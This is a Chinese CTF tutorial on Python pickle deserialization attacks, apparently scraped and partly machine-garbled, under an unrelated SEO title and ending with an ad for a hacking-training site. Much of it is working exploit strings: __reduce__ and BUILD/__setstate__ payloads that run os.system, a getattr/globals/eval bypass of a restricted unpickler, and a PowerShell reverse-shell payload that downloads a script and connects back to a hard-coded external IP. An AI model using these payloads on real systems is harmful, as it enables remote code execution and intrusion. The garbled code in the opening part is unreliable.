attr是什么意思中文翻译,dis什么意思翻译中文

  

     

  

  序   

  

  本文主要总结了CTF常见的python反序列化技术。   

  

  Picklepickle是python用来反序列化和序列化的模块。这个模块中有两个主要的类_Unpickler类和_ picker类。前者用于反序列化,后者用于序列化。用python pickle.dumps()序列化,用pickle.loads()反序列化   

  

  有一点需要注意:对于我们自己定义的类,如果初始值是以date=20191029的形式直接赋值的话,这个date是不会打包的!解决方法是写一个_init_ method。   

  

  Ps:本文全部基于python3。泡菜属于向后兼容。   

  

     

  

  Pickletoolspickletools是python自己的pickle调试器,有三个功能:反汇编一个打包的字符串,优化一个打包的字符串,返回一个迭代器供程序使用。我们一般用前两种。   

  

  汇编反序列化的字符串:pickletools.dis()   

  

     

  

  优化序列化字符串:pickletools.optimize()   

  

     

  

  所谓“优化”,其实就是删除不必要的PUT指令。PUT的意思是复制当前栈顶,放入存储区——显然我们的类不需要这个操作,所以可以省略这些PUT指令。   

  

  https://zhuanlan.zhihu.com/p/89132768汇编指令分析   

  

  这篇文章说的很清楚,可以照着例子来。需要注意的是,文章中并没有提到算子X。这个操作符和V一样,读取一个字符串,但是后面是四个字节,代表一个数字(小端),比如\x04\x00\x00\x00,值为4,表示后面跟的utf8编码的字符串的长度,比如后面跟的name。v直接跟在字符后面再用\ n隔开,文末我对这些说明也有自己的理解。   

  

  了解了python的基本反序列化原理后,让我们来看看几种攻击方法和相关的CTF问题。   

  

  _ _ reduce _ _ _ reduce _ _是一个神奇的方法。在_ _ reduce _ _被定义之后,当对象被Pickle up时它将被调用。怎么要求pickle连载他。对应的脚本是R,R脚本的操作是:   

  

  将当前堆栈的顶部作为参数,然后将其弹回。取当前栈顶为F,然后弹开。一种流行的攻击思想是使用__reduce__构造一个恶意字符串。当此字符串被反序列化时,恶意代码将被执行。   

  

  import pickle import pickle tools import OS class A(object): def _ _ reduce _ _(self): cmd=' whoami ' return(OS . system,(cmd,)A=A()b=pickle . dumps(A)print(b)pickle . loads(b)   

  

  C脚本的妙用   

  

  c指令将读取两个字符串(除以\n)并将它们传递给find_class方法。看一下源代码,可以看到C指令实际上是获取模块的属性。   

  

     

  

  看看这段源代码。   

  

  import pickle import staoi import base 64 class animal : def _ _ init _ _(self,name,category): self . name=name self . category=category def _ _ eq _ _(self,other):   

return type(other) is Animal and self.name == other.name and self.category == other.categorydef check(data): if b'R' in data: return 'no reduce!' x=pickle.loads(data) if(x!= Animal(stao.name,stao.age)): return 'not equal' return 'well done!'print(check(base64.b64decode(input())))禁用了R指令,所以不能直接用reduce的办法,但是我们可以直接用C指令在反序列化的时候用stao里的属性来赋值。

  

正常的Animal实例序列化后的字符串:

  

  

这里,我们只需用cstao\nname\n,cstao\nage\n,来替换对应的X\x04\x00\x00\x00stao,X\x03\x00\x00\x00ctf。

  

  

将payload进行base64编码,然后传进题目。

  

  

可以看到,成功用stao模块的属性来实例化了一个Animal类

  

绕过c指令module限制前面提到过,c指令(也就是GLOBAL指令)基于find_class这个方法, 然而findclass是可以被重写。如果find_class只允许c指令包含\_main__这一个module,这道题又该如何解决呢?我们在之前的代码上,写一个类,继承pickle的Unpickler,然后重写find_class方法。

  

import pickleimport staoimport base64import ioimport sysclass RestrictedUnpickler(pickle.Unpickler): def find_class(self, module, name): if module == '__main__': return getattr(sys.modules<'__main__'>, name) raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))def restricted_loads(s): return RestrictedUnpickler(io.BytesIO(s)).load()class Animal: def __init__(self, name, category): self.name = name self.category = category def __eq__(self, other): return type(other) is Animal and self.name == other.name and self.category == other.categorydef check(data): if b'R' in data: return 'no reduce!' x=restricted_loads(data) if(x!= Animal(stao.name,stao.age)): return 'not equal' return 'well done! {} {}'.format(stao.name,stao.age)print(check(base64.b64decode(input())))通过GLOBAL指令引入的变量,可以看作是原变量的引用。我们在栈上修改它的值,会导致原变量也被修改!而且我们可以通过__main__.stao引入这一个module

  

  

所以我们的思路是:

  

通过__main__.stao引入这一个module把一个dict压进栈,内容是{‘name’: ‘stao’, ‘age’: ‘ctf’}执行BUILD指令,会导致改写 __main__.stao.name和 __main__.stao.age ,至此stao.name和stao.age已经被篡改成我们想要的内容弹掉栈顶,现在栈变成空的照抄正常的Animal序列化之后的字符串,压入一个正常的Animal对象,name和category分别是’stao’和’ctf’由于栈顶是正常的Animal对象,pickle.loads将会正常返回。 payload:b'\x80\x03c__main__\nstao\n}(X\x04\x00\x00\x00nameX\x04\x00\x00\x00staoX\x03\x00\x00\x00ageX\x03\x00\x00\x00ctfub0c__main__\nAnimal\n)\x81}(X\x04\x00\x00\x00nameX\x04\x00\x00\x00staoX\x08\x00\x00\x00categoryX\x03\x00\x00\x00ctfub.'

  

base64编码后,传进题目。可以看到我们成功修改了stao的属性

  

  

不用reduce,也能RCE前面谈到过,__reduce__与R指令是绑定的,禁止了R指令就禁止了__reduce__ 方法。那么,在禁止R指令的情况下,我们还能RCE吗?b指令是用来更新实例的。

  

把当前栈栈顶存进state,然后弹掉。把当前栈栈顶记为inst,然后弹掉。利用state这一系列的值来更新实例inst。把得到的对象扔进当前栈。值得注意的是:如果inst拥有__setstate__方法,则把state交给__setstate__方法来处理;否则的话,直接把state这个dist的内容,合并到inst.__dict__ 里面。(在前面分享的文章中有介绍)。那么我们是否可以利用{‘__setstate__‘: os.system}来BUILD一个原先没有__setstate__方法的对象.使对象的__setstate__就变成了os.system;接下来利用”whoami”来再次BUILD这个对象,来执行setstate(“whoami”) ,而此时__setstate__已经被我们设置为os.system,因此实现了RCE.

  

构造payload:b=b'\x80\x03c__main__\nAnimal\n)\x81}(V__setstate__\ncos\nsystem\nubVwhoami\nb0c__main__\nAnimal\n)\x81}(X\x04\x00\x00\x00nameX\x04\x00\x00\x00staoX\x08\x00\x00\x00categoryX\x03\x00\x00\x00ctfub.'

  

反序列化字符串,可以看到成功执行命令

  

  

这里在执行命令之后,用指令0弹出栈顶元素,再重新写一个正常的Animal对象,是为了防止反序列化的时候出错。

  

来试一下反弹shell

  

b=b'\x80\x03c__main__\nAnimal\n)\x81}(V__setstate__\ncos\nsystem\nubVpowershell iex (New-Object Net.WebClient).DownloadString('http://127.0.0.1/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 121.196.193.160 -Port 8080\nb0c__main__\nAnimal\n)\x81}(X\x04\x00\x00\x00nameX\x04\x00\x00\x00staoX\x08\x00\x00\x00categoryX\x03\x00\x00\x00ctfub.'成功反弹

  

  

构造模块存储到memo,然后再次调用来看这样一段代码:

  

import pickleimport base64import builtinsimport ioclass RestrictedUnpickler(pickle.Unpickler): blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'} def find_class(self, module, name): if module == "builtins" and name not in self.blacklist: return getattr(builtins, name) raise pickle.UnpicklingError("global '%s.%s' is forbidden" %(module, name))def restricted_loads(s): return RestrictedUnpickler(io.BytesIO(s)).load()restricted_loads(base64.b64decode(input()))代码限定了c指令只能用builtins这个模块,而且过滤了一些执行命令的方法。但是没有禁止getattr这个方法,因此我们可以构造builtins.getattr(builtins, ‘eval’)的方法来构造eval函数.

  

  

接下来我们得构造出一个builtins模块来传给getattr的第一个参数,因为find_class限制了我们c指令只能用builtins模块,所以我们来看看这个模块里面有什么办法能产生出builtins模块。globals()函数会以字典类型返回当前位置的全部全局变量。builtins模块中有这个方法,而且全局变量中是有builtins模块的。

  

  

globals()函数返回的是一个字典,所以我们还得从字典中提取出builtins模块。python中用get方法通过指定键值来获得字典中的一个值。所以我们可以提取字典中的get办法。

  

  

构造builtins模块的思路我们已经有了,接下来就是写指令。首先来看下获得get方法的指令。

  

b"\x80\x03cbuiltins\ngetattr\ncbuiltins\ndict\nVget\n\x86R."

  

再来看下怎么执行globals函数来获得字典。

  

b"\x80\x03cbuiltins\nglobals\n)R."

  

字典有了,get方法有了,下面就是用get方法来获得字典中的值并存入memo,以便后续调用。

  

b"\x80\x03cbuiltins\ngetattr\ncbuiltins\ndict\nVget\n\x86R(cbuiltins\nglobals\n)RVbuiltins\ntRp1\n."

  

成功构造,现在我们可以构造eval函数了,使用g1获取刚才的builtins,从而获得eval方法

  

b"\x80\x03cbuiltins\ngetattr\ncbuiltins\ndict\nVget\n\x86R(cbuiltins\nglobals\n)RVbuiltins\ntRp1\ncbuiltins\ngetattr\ng1\nVeval\n\x86R."

  

成功获得eval函数,现在我们可以利用这个函数来执行命令

  

b'\x80\x03cbuiltins\ngetattr\ncbuiltins\ndict\nVget\n\x86R(cbuiltins\nglobals\n)RVbuiltins\ntRp1\ncbuiltins\ngetattr\ng1\nVeval\n\x86RV__import__("os").system("whoami")\n\x85R.'

  

可以看到成功执行了命令。将payload编码然后传入题目,也可以成功执行命令

  

  

思路和题目来自:https://xz.aliyun.com/t/5306#toc-2

  

关于指令的理解在看了几篇博客以及pickle的源码之后,对各指令的作用的理解如下(如有错误,欢迎指出哦):

  

),}是向堆栈中压入一个空元组,空字典( 我的理解是,在堆栈中压入一个特殊的标志,后面的操作是在这个标志之内进行的,最后可以用t或u来生成字元组或字典。t 将第一个(和t之前的元素当作一个元组,压入堆栈。

  

u 将第一个(和u之间的元素两两一对,前面的为键,后面的为值,存进栈顶的空字典,压入堆栈。要注意的是,栈顶必须事先有个空字典。

  

c 比较容易理解,就是传入两个参数(用\n分隔)给find_class方法,通常是用来获取一个模块中的属性。如cstao\nname\nb call __setstate__ or __dict__.update(),即用来更新实例,如果实例中有setstate方法,则按setstate方法操作,否则就是将字典直接合并到实例的字典中。\x81 从栈中先弹出一个元素,记为args;再弹出一个元素,记为cls。接下来,执行cls.__new__(cls, *args) ,然后把得到的东西压进栈。说人话,那就是:从栈中弹出一个参数和一个class,然后利用这个参数实例化class,把得到的实例压进栈。\x85 将栈顶的元素弹进元组,压入堆栈。\x86 是将从栈顶开始的两个元素弹进元组,压入堆栈,\x87 是三个。p 将栈顶元素存入memo,索引是一个字符串。如p1\ng push item from memo on stack; index is string arg 和p相反的操作r 取当前栈的栈顶记为args,然后把它弹掉;取当前栈的栈顶记为f,然后把它弹掉;以args为参数,执行函数f,把结果压进当前栈.X 将字符串压入堆栈,后面跟四个字节代表字符串的长度。如X\x04\x00\x00\x00staoV 将字符串压入堆栈,用\n分隔。如Vstao\nVctf\nS 将字符串压入堆栈,要带引号,用\n分隔。如S’stao’\n0 将栈顶弹出。需要注意的是:

  

其他模块的load也可以触发pickle反序列化漏洞。例如:numpy.load()先尝试以numpy自己的数据格式导入;如果失败,则尝试以pickle的格式导入。因此numpy.load()也可以触发pickle反序列化漏洞。for i in sys.modules<'builtins'>.__dict__: print(i)可以用这个办法查看模块中的属性。安界网,网络安全精英的教练场,关注私信,索取免费资料,带你领略黑客的神秘世界!

相关文章